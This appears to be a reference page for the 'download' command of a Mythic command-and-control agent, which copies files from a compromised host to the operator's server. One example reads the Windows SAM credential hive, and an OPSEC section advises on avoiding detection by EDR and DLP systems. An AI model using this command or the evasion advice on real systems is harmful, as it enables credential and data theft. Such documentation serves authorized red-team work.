# download - Download File from Target

Download a file from the target system to the Mythic server.

## Description

The `download` command downloads a file from the target system to the Mythic server. Files are transferred in 512KB chunks for efficient transmission. Supports files up to 2GB in size.

## Syntax

```
download <file_path>
```

## Parameters

- `file_path` (required): Path to the file to download. Supports both absolute and relative paths.

## Examples

```
download C:\Users\Administrator\Desktop\important.txt
download C:\Windows\System32\config\sam
download report.pdf
```

## Features

- Supports files up to 2GB in size
- Files are transferred in 512KB chunks for efficient transmission
- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
- Compatible with Mythic File Browser for interactive file selection
- Large files or sensitive files may trigger detection by EDR/XDR solutions and data loss prevention (DLP) systems

## Output

```
[download] Starting download: C:\Users\important.txt (1024000 bytes)
[download] Chunk 1/2 downloaded: 512000 bytes
[download] Chunk 2/2 downloaded: 512000 bytes
[download] Download complete: C:\Users\important.txt
```

## OPSEC Considerations

- File reads are logged by EDR/XDR solutions
- Large downloads generate network traffic and may trigger alerts
- Downloading sensitive files (SAM, config files) may trigger DLP systems
- Consider using smaller chunk sizes or splitting large files

## Related

[File Downloads Support](../../../features.md#file-downloads-support)

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**Command Category:** File System  
**Requires Admin:** No  
**MITRE ATT&CK:** [T1105 - Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)